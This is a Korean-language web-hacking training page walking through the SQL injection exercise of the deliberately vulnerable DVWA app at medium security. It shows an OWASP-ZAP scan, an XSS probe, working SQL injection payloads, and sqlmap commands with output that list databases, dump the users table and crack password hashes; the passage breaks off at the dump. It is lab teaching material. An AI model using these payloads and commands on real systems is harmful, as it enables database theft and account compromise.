홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507)

Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325)

VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125)

Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202)

Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129)

[과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619)

[과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827)

[과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810)

[과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809)

Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721)

칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404)

단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329)

WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130)

오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125)

WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123)

오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122)

오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122)

오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121)

오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118)

WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116)

WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114)

WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113)

SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110)

MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109)

WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106)

WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104)

WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104)

WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102)

WH-Account-01 웹해킹훈련장 실습 설명서 (20170103)

WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103)

WH-Account-02 웹해킹훈련장 실습 설명서 (20170104)

저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231)

로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228)

DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222)

FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220)

이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219)

HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214)

경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214)

웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213)

HTML 삽입, XSS 공격 탐지방법 (20161211)

오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210)

오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208)

nikto와 owasp-zap 연동 (20161206)

미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205)

오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205)

오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204)

기억하기 쉽고 안전한 비밀번호 만들기 (20161203)

2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202)

KISA의 랜섬웨어 예방 수칙 (20161202)

WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201)

DVWA Brute Force 실습 설명서 (20161205)

DVWA Command Injection 실습 설명서 (20161207)

DVWA CSRF (low, high level) 실습 설명서 (20161208)

DVWA File Inclusion 실습 설명서 (20161215)

DVWA File Upload 실습 설명서 (20161221)

DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224)

DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222)

DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227)

DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226)

DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227)

DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101)

SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201)

WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130)

WebGoat: Bypass a Path Based Access Control Scheme (20161207)

WebGoat, LAB: DOM-Based cross-site scripting (20161208)

WebGoat, Authentication Flaws: Multi Level Login 2 (20161209)

WebGoat, Code Quality: Discover Clues in the HTML (20161210)

WebGoat XSS: Phishing with XSS (20161211)

WebGoat: OS Command Injection (20161215)

WebGoat: Numeric SQL Injection (20161216)

WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217)

WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218)

2016.11.30 웹서버 공격 로그 (20161130)

OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129)

WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126)

WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128)

인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125)

PHP Easter Egg의 이해와 조치방안 (20161125)

WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124)

WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126)

웹해킹 공격/방어 일람 (20161121)

webhack.dynu.net 문자배너 만들기 - toilet (20161121)

MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120)

X-XSS-Protection헤더 시험 페이지 (20161119)

방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118)

클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117)

X-Frame-Options헤더 시험 페이지 (20161118)

공시생 성적조작 사건, 물리보안과 정보보안 (20161117)

ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116)

[웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116)

weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117)

슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115)

버추얼박스 가상머신에서 Tails OS 설치 (20161114)

Kali Linux에 Tor Browser 설치하기 (20161114)

인터넷익명성 - VPN과 Tor (20161114)

Kali Linux, open-vm-tools, Shared Folder (20161113)

SSL Strip 공격과 HSTS (20161112)

모든 꼬리표 모아보기(태그 클라우드) (20161111)

HTTP 세션 탈취와 IP보안 (20161111)

HTTP TRACE method와 XST 공격 (20161111)

세션쿠키와 HttpOnly (20161110)

HTTP 메소드 수동점검 방법 (20161110)

파일업로드(웹쉘) 방어하기 (20161109)

파일다운로드/경로조작 방어하기 (20161109)

XSS, SQL Injection 방어하기 (20161109)

길찾기(sitemap) (20161109)

웹취약성분석 관련 파일 목록 (20161108)

SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107)

웹취약점 분석 도구로서의 THC Hydra (20161107)

웹취약점 분석 도구로서의 cURL (20161107)

[웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104)

[PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106)

무료 웹해킹 교육장 목록 (20161103)

칼리 리눅스(Kali Linux) 설치 (20161030)

가상머신 버추얼 박스(VirtualBox) 설치 (20161029)

가상머신 VMWare Workstation Player 설치 (20161028)

[웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027)

스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719)

<< 목록숨기기
#DVWA SQL Injection #DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #SQL구문삽입 #mysql #반사형 XSS #owasp-zap #sqlmap #취약한 비밀번호 #A1-Injection

DVWA: SQL Injection (medium level), owasp-zap + sqlmap 공략

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.206.136/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 작업을 사전에 수행하야야 한다.

  1. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
  2. "DVWA Security" 항목에서 "Security Level"을 시험하고자 하는 보안수준에 따라 Low, Medium, High 로 변경한다. 여기서는 Medium으로 설정한다.

이 실습설명서에는 취약점에 대한 이해없이도 칼리리눅스의 owasp-zapsqlmap을 이용하여 취약점을 공략할 수 있다는 사실을 살펴보고자 한다.

Vulnerability: SQL Injection medium level의 OWASP-ZAP 스캔

owasp-zap을 실행한다. Firefox의 Preferences -> Advanced -> Network -> Settings... -> Manual proxy configuration127.0.0.1:8080으로 설정한다. 파이어폭스에서 Vulnerability: SQL Injection (medium level) 실습장에 접속한다. URL은 http://192.168.206.136/vulnerabilities/sqli/이다.

SQLi 홈페이지, id=1 실행
[ DVWA SQLi (medium level) User ID=1 실행 화면 ]

User ID: 1인 상태에서 "Submit"을 누른다.

ID: 1
First name: admin
Surname: admin

위와 같은 결과가 빨간 색으로 출력된다.

SQLi 홈페이지, owasp-zap ActiveScan
[ DVWA SQLi (medium level) OWASP-ZAP Active Scan 시작 ]

OWASP-ZAP으로 이동하여 해당 URL을 선택하고 오른쪽 마우스 단추를 눌러서 Attack -> Active Scan...을 선택한다. 다음 화면에서 "Start"를 눌러서 단일 URL에 대한 자동점검을 수행한다.

SQLi 홈페이지, owasp-zap ActiveScanid=xss
[ DVWA SQLi (medium level) OWASP-ZAP 스캔결과: XSS ]

자동점검(Active Scan) 결과에서는 id 변수에서 "Cross-site Scripting (Reflected)"(반사형 XSS) 취약점과 "SQL Injection - MySQL"(MySQL SQL 구문삽입) 취약점이 탐지되었다. 그리고 HttpOnly 미설정 취약점도 발견된다.

위의 그림은 id 변수에 </pre><script>alert(1);</script><pre>를 입력했을 때 서버의 반응에서 자바스크립트가 그대로 출력된다는 것을 보여주고 있다. 웹 브라우저로 접근하면 자바스크립트가 alert(1) 창을 띄울 것이다. 반사형 크로스사이트스크립트 취약점이다.

SQLi 홈페이지, owasp-zap ActiveScanid=sql injection
[ DVWA SQLi (medium level) OWASP-ZAP 스캔결과: SQL구문삽입 ]

위의 그림은 MySQL에 특화된 SQL구문삽입 취약점을 OWASP-ZAP이 탐지한 결과이다. DBMS마다 오류 출력이 다른데, The used SELECT statements have a different number of columns라는 문자열이 MySQL DBMS의 단서가 된다.

POST http://192.168.206.136/vulnerabilities/sqli/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.206.136/vulnerabilities/sqli/
Cookie: PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Host: 192.168.206.136

id=1+UNION+ALL+select+NULL+--+&Submit=Submit

OWASP-ZAP에서 SQL구문삽입을 탐지할 때 DVWA SQL Injection 훈련장으로 보낸 요청은 위와 같다. id 변수에 1 UNION ALL select NULL -- 와 같이 UNION 기반 SQL 구문을 삽입하여 오류를 유도하였다.

Vulnerability: SQL Injection medium level의 sqlmap 공략

OWASP-ZAP에서 탐지한 SQL주입 취약점을 sqlmap을 이용하여 공격을 더 진행해보자. 웹취약점 점검작업에서 SQL구문삽입에 대한 취약점 보고는 OWASP-ZAP의 결과만으로도 충분할 수 있다. 그러나 계정 관리 정책이나 관리자 페이지 추가 점검 등을 위해서는 데이터베이스 유출이 필요할 수 있다. 수작업으로 진행할 수도 있으나 시간이 많이 걸리는 작업이므로 sqlmap과 같은 범용 SQL 공격도구를 사용하는 것이 좋다.

sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id

OWASP-ZAP의 점검 결과로부터 위와 같은 sqlmap 실행문을 만들 수 있다. DVWA 서비스는 로그인 후에 각 기능 접근이 가능하므로 --cookie 옵션에 세션 키와 보안수준 쿠키를 지정한다. 공격할 URL(-u 옵션)은 http://192.168.206.136/vulnerabilities/sqli/이다. 그리고 POST 방식으로 보내는 데이타를 --data 옵션으로 지정한다. OWASP-ZAP이 취약하다고 탐지한 변수를 -p로 지정하여 공격범위를 좁혔다.

이제 sqlmap을 실행할 것이다. 개략적인 순서는 다음과 같다.

sqlmap .... -p id					(id 변수의 취약여부 확인)
sqlmap .... -p id --dbs					(데이터베이스 목록 확인)
sqlmap .... -p id -D db_name --tables			(db_name의 테이블 목록 확인)
sqlmap .... -p id -D db_name -T table_name --columns	(db_name.table_name의 컬럼 목록 확인)
sqlmap .... -p id -D db_name -T table_name --dump	(db_name.table_name 테이블 덤프)
root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id
         _
 ___ ___| |_____ ___ ___  {1.0.4.0#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:15:30

[12:15:30] [INFO] testing connection to the target URL
[12:15:30] [INFO] testing if the target URL is stable
[12:15:31] [INFO] target URL is stable
[12:15:31] [INFO] heuristics detected web page charset 'ascii'
[12:15:31] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:15:31] [INFO] testing for SQL injection on POST parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] [Enter]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [Enter]
[12:15:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:15:33] [WARNING] reflective value(s) found and filtering out
[12:15:33] [INFO] POST parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Surname: admin")
[12:15:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[12:15:33] [INFO] POST parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[12:15:33] [INFO] testing 'MySQL inline queries'
[12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[12:15:33] [WARNING] time-based comparison requires larger statistical model, please wait..................... (done)
[12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:15:33] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[12:15:33] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:15:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[12:15:43] [INFO] POST parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
[12:15:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:15:43] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:15:43] [INFO] target URL appears to have 2 columns in query
[12:15:43] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] [Enter]
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2003=2003&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit
---
[12:15:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:15:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'
root@kali:~#

위의 sqlmap 결과에서 POST 방식의 변수 idboolean-based blind SQLi, error-based SQLi, AND/OR time-based blind SQLi, UNION query SQLi 등의 방식으로 SQL주입 공격이 가능하다고 탐지되었다. 웹 애플리케이션이 Apache 서버에서 작동하고 있고 DBMS는 MySQL 5.0이라는 정보도 보인다.

다음 단계는 이 MySQL DBMS가 관리하는 데이터베이스 목록을 확인하는 작업이다. 엄밀하게는 DVWA SQL Injection 웹 애플리케이션이 접근할 수 있는 데이터베이스만을 파악할 수 있다.

root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id --dbs
         _
 ___ ___| |_____ ___ ___  {1.0.4.0#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:37:54

[12:37:54] [INFO] resuming back-end DBMS 'mysql' 
[12:37:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2003=2003&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit
---
[12:37:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:37:54] [INFO] fetching database names
[12:37:54] [WARNING] reflective value(s) found and filtering out
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] test

[12:37:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'
root@kali:~#

추가한 --dbs 옵션에 의해서 dvwa, information_schema, mysql, test의 4개 데이터베이스가 존재함을 알 수 있다. 이 웹서비스와 관련된 DB는 dvwa일 것으로 추정된다. 먼저 dvwa에 포함된 테이블 목록을 가져온다.

root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id -D dvwa --tables
         _
 ___ ___| |_____ ___ ___  {1.0.4.0#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:43:52

[12:43:52] [INFO] resuming back-end DBMS 'mysql' 
[12:43:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2003=2003&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit
---
[12:43:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:43:52] [INFO] fetching tables for database: 'dvwa'
[12:43:52] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[12:43:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'
root@kali:~#

dvwa 데이터베이스에는 guestbookusers라는 두 개의 테이블이 있다. 아마도 users라는 테이블에 계정정보가 들어있을 것이다. 이 테이블의 컬럼을 파악해보자.

root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id -D dvwa -T users --columns
         _
 ___ ___| |_____ ___ ___  {1.0.4.0#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:02:56

[13:02:56] [INFO] resuming back-end DBMS 'mysql' 
[13:02:56] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2003=2003&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit
---
[13:02:56] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[13:02:56] [INFO] fetching columns for table 'users' in database 'dvwa'
[13:02:56] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

[13:02:56] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'
root@kali:~#

sqlmap--columns 옵션에 의해서 users 테이블은 user, avatar, failed_login, first_name, last_login, last_name, password, user_id 등의 컬럼으로 이루어진 것을 알 수 있다. password 컬럼과 로그인과 관련된 것으로 보이는 failed_login, last_login 컬럼으로 보아 회원계정 테이블임을 알 수 있다.

users 테이블 전체를 읽어보자. --columns 옵션 대신에 --dump를 사용한다.

root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id -D dvwa -T users --dump
         _
 ___ ___| |_____ ___ ___  {1.0.4.0#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:03:42

[13:03:42] [INFO] resuming back-end DBMS 'mysql' 
[13:03:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2003=2003&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit
---
[13:03:42] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[13:03:42] [INFO] fetching columns for table 'users' in database 'dvwa'
[13:03:42] [INFO] fetching entries for table 'users' in database 'dvwa'
[13:03:42] [INFO] analyzing table dump for possible password hashes
[13:03:42] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] [Enter]
do you want to crack them via a dictionary-based attack? [Y/n/q] [Enter]
[13:03:44] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> [Enter]
[13:03:45] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] [Enter]
[13:03:50] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[13:03:50] [INFO] starting 8 processes 
[13:03:51] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'                         
[13:03:51] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'                        
[13:03:53] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'                        
[13:03:53] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                       
[13:03:55] [INFO] postprocessing table dump                                                                     
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                            | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
